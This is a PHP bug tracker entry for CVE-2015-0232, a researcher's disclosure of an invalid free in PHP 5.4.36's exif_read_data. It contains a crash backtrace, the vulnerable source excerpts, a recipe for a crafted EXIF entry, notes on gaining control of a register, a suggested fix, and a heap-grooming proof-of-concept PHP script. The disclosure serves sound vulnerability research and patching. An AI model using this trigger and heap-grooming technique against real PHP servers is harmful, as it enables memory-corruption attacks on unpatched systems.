|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
Patchesbug68799fix (last revision 2015-01-11 08:54 UTC by stas@php.net)Pull RequestsHistoryAllCommentsChangesGit/SVN commits
[2015-01-11 08:37 UTC] stas@php.net
[2015-01-11 08:54 UTC] stas@php.net
[2015-01-11 08:55 UTC] stas@php.net
[2015-01-11 21:07 UTC] endeavor at rainbowsandpwnies dot com
[2015-01-12 00:12 UTC] stas@php.net
[2015-01-12 02:57 UTC] endeavor at rainbowsandpwnies dot com
[2015-01-14 14:19 UTC] remi@php.net
-CVE-ID:
+CVE-ID: 2015-0232
[2015-01-14 14:19 UTC] remi@php.net
[2015-01-20 18:42 UTC] stas@php.net
[2015-01-20 18:42 UTC] stas@php.net
-Status: Open
+Status: Closed
[2015-01-21 00:41 UTC] tyrael@php.net
[2015-01-21 09:45 UTC] jpauli@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Oct 26 04:00:01 2025 UTC |
Description: ------------ /********************************** * Alex Eubanks * * endeavor@rainbowsandpwnies.com * * php 5.4.36 exif free on bad ptr * * 10 January 2014 * **********************************/ /************* * A foreword * *************/ // this bug was found with american fuzzy lop! thanks lcamtuf! /* * My environment is debian wheezy, both 32 and 64-bit variants * Php was build from source, not pulled from package repos * built with: ./configure --enable-exif */ Program received signal SIGSEGV, Segmentation fault. _zend_mm_free_int (heap=0x87bc1a8, p=0xb7c0e13c) at /home/user/php/php-5.4.36/Zend/zend_alloc.c:2100 2100 if (ZEND_MM_IS_FREE_BLOCK(next_block)) { (gdb) bt #0 _zend_mm_free_int (heap=0x87bc1a8, p=0xb7c0e13c) at /home/user/php/php-5.4.36/Zend/zend_alloc.c:2100 #1 0x081532d0 in exif_discard_imageinfo (ImageInfo=ImageInfo@entry=0xbfffc044) at /home/user/php/php-5.4.36/ext/exif/exif.c:3846 #2 0x08168884 in zif_exif_read_data (ht=1, return_value=0xb7c0d858, return_value_ptr=0x0, this_ptr=0x0, return_value_used=1) at /home/user/php/php-5.4.36/ext/exif/exif.c:4090 #3 0x0839ba81 in zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /home/user/php/php-5.4.36/Zend/zend_vm_execute.h:643 #4 0x0835d505 in execute (op_array=<optimized out>) at /home/user/php/php-5.4.36/Zend/zend_vm_execute.h:410 #5 0x082fdd83 in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0, file_count=file_count@entry=3) at /home/user/php/php-5.4.36/Zend/zend.c:1329 #6 0x082a04cc in php_execute_script (primary_file=primary_file@entry=0xbfffe520) at /home/user/php/php-5.4.36/main/main.c:2502 #7 0x0839e404 in do_cli (argc=-1073748704, argc@entry=5, argv=0x7) at /home/user/php/php-5.4.36/sapi/cli/php_cli.c:989 #8 0x0806b626 in main (argc=5, argv=0xbffff814) at /home/user/php/php-5.4.36/sapi/cli/php_cli.c:1365 /************************* * How to trigger the bug * *************************/ // This vulnerability will cause the following struct to be allocated: typedef struct { char *value; size_t size; int tag; } xp_field_type; // However, the field value is never set. It will contain the value of whatever // memory was previously in its place. Php will then bail on this jpeg, causing // a call to _zend_mm_free_int() over this unassigned pointer. // To trigger the vulnerability, we craft an EXIF entry as such: struct ExifEntry { uint16 tagNumber = TAG_XP_AUTHOR; // 0x9c9d uint16 DataFormat = ascString; // 2 uint32 nComponents = 0; uint32 offsetData = 78; // something within the bounds of the file }; // In order for this bug to trigger, the value cannot be a NULL pointer at the // time it is freed. This makes this bug somewhat difficult to trigger. /**************************** * Location of vulnerability * *****************************/ // The call to free which triggers this crash can be found at: #exif.c : 3846 EFREE_IF(ImageInfo->xp_fields.list[i].value); // In exif_process_string_raw, xp_field_type.value is passed as the // first argument. When byte_count == 0, it is never allocated or set. # exif.c : 2715 static int exif_process_string_raw(char **result, char *value, size_t byte_count) { /* we cannot use strlcpy - here the problem is that we have to copy NUL * chars up to byte_count, we also have to add a single NUL character to * force end of string. */ if (byte_count) { (*result) = safe_emalloc(byte_count, 1, 1); memcpy(*result, value, byte_count); (*result)[byte_count] = '\0'; return byte_count+1; } return 0; } // exif_process_string_raw is called from exif_process_unicode. While the conditional // if is taken, xp_field->value is not set regardless # exif.c : 2702 static int exif_process_unicode(image_info_type *ImageInfo, xp_field_type *xp_field, int tag, char *szValuePtr, int ByteCount TSRMLS_DC) { xp_field->tag = tag; /* XXX this will fail again if encoding_converter returns on error something different than SIZE_MAX */ if (zend_multibyte_encoding_converter( (unsigned char**)&xp_field->value, &xp_field->size, (unsigned char*)szValuePtr, ByteCount, zend_multibyte_fetch_encoding(ImageInfo->encode_unicode TSRMLS_CC), zend_multibyte_fetch_encoding(ImageInfo->motorola_intel ? ImageInfo->decode_unicode_be : ImageInfo->decode_unicode_le TSRMLS_CC) TSRMLS_CC) == (size_t)-1) { xp_field->size = exif_process_string_raw(&xp_field->value, szValuePtr, ByteCount); } return xp_field->size; } // Call to exif_process_unicode takes place from... # exif.c : 2982 case TAG_XP_TITLE: case TAG_XP_COMMENTS: case TAG_XP_AUTHOR: case TAG_XP_KEYWORDS: case TAG_XP_SUBJECT: tmp_xp = (xp_field_type*)safe_erealloc(ImageInfo->xp_fields.list, (ImageInfo->xp_fields.count+1), sizeof(xp_field_type), 0); ImageInfo->sections_found |= FOUND_WINXP; ImageInfo->xp_fields.list = tmp_xp; ImageInfo->xp_fields.count++; exif_process_unicode(ImageInfo, &(ImageInfo->xp_fields.list[ImageInfo->xp_fields.count-1]), tag, value_ptr, byte_count TSRMLS_CC); break; // The important variable here is byte_count. # exif.c : 2828 components = php_ifd_get32u(dir_entry+4, ImageInfo->motorola_intel); # exif.c : 2842 byte_count_signed = (int64_t)components * php_tiff_bytes_per_format[format]; # exif.c : 2849 byte_count = (size_t)byte_count_signed; // the value components is attacker controlled, and can be set to 0. /********* * Effect * *********/ I have triggered the bug in 32-bit and 64-bit debian when building from source. I have put some effort into triggering the bug with php5-cli from the debian wheezy packages. For some reason, I have NOT been able to trigger the bug using debian stable packages. I have been able to gain limited control of the crash in 64-bit debian when building from source. With a fresh build of php-5.4.36 in 64-bit debian wheezy, control of the register being dereferenced can be achieved. user@debian:~/vulns/php_5.4.36_invalid_free$ gdb --args /usr/local/bin/php -f write_phpsrc_exif2.php ... (gdb) r ... Program received signal SIGSEGV, Segmentation fault. _zend_mm_free_int (heap=0xd9c2d0, p=0x7ffff7fd1520) at /home/user/source/php-5.4.36/Zend/zend_alloc.c:2100 2100 if (ZEND_MM_IS_FREE_BLOCK(next_block)) { (gdb) x/4i $pc-11 0x667fa7 <_zend_mm_free_int+167>: jmpq *%rax 0x667fa9 <_zend_mm_free_int+169>: lea 0x0(%r13,%rbx,1),%r14 0x667fae <_zend_mm_free_int+174>: sub %rbx,0x68(%rbp) => 0x667fb2 <_zend_mm_free_int+178>: testb $0x1,(%r14) (gdb) i r ... rbx 0x4746454443424140 5135868584551137600 ... r13 0x7ffff7fd1510 140737353946384 r14 0x4746c5443b3f5650 5136009321905083984 This is a bit tempermental and you may have to play around with it. /****** * Fix * ******/ xp_field_type.value should be initialized to 0 after allocation at exif.c:2987. When freed at exif.c:3846, if xp_field_type.value is NULL no call to free is made. # exif.c:3846 EFREE_IF(ImageInfo->xp_fields.list[i].value); Test script: --------------- <?php // You will need this file to trigger the crash // tfpwn.com/crashashasha_3832478/exif.jpg /* * Pollute the heap. Helps trigger bug. Sometimes not needed. */ class A { function __construct() { $a = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa'; $this->a = $a . $a . $a . $a . $a . $a; } }; function doStuff ($limit) { $a = new A; $b = array(); for ($i = 0; $i < $limit; $i++) { $b[$i] = clone $a; } unset($a); gc_collect_cycles(); } $iterations = 3; doStuff($iterations); doStuff($iterations); gc_collect_cycles(); print_r(exif_read_data('exif2.jpg')); ?>